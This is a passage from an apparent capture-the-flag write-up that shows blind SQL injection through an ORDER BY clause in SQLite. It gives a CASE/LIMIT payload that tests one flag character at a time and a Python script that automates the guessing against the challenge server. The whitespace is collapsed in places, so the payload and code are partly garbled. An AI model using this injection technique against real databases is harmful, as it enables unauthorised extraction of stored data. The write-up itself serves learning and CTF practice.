However, exploiting this is slightly more challenging as the injection point is after the ORDER BY clause - at this point, we won't be able to use things like UNION, WHERE, OR, AND, etc.
I came across this article by PortSwigger where the CASE clause is used to determine which column the result is sorted by. We'd have to modify the payload into something that SQLite accepts - diving into the SQLite documentation showed us that the following was valid syntax:
ORDER BYnameLIMIT (CASE (SELECT hex(substr(flag,6,1)) FROM flag limit1 offset 0) WHEN hex('5') THEN1ELSE2END)
This payload will check the flag character at index 6. If it matches the character 5, then the LIMIT is set to 1. Otherwise, the LIMIT is set to 2.
We could repeat this for each character of the flag:
import requestsalphabet ='0123456789abcdefghijklmnopqrstuvwxyz_{}'url ='http://challenge.nahamcon.com:32142'curr ='flag{'i =6done =Falsewhilenot done: found =Falsefor char in alphabet:print("Trying {}".format(curr + char)) r = requests.post(url, data={'search': '', 'order': f"name LIMIT (CASE (SELECT hex(substr(flag,{i},1)) FROM flag limit 1 offset 0) WHEN hex('{char}') THEN 1 ELSE 2 END)"
})# print(r.headers['Content-length'])ifint(r.headers['Content-length'])<3646: found =True curr += char i +=1print("[+] Found {}".format(curr))ifnot found:break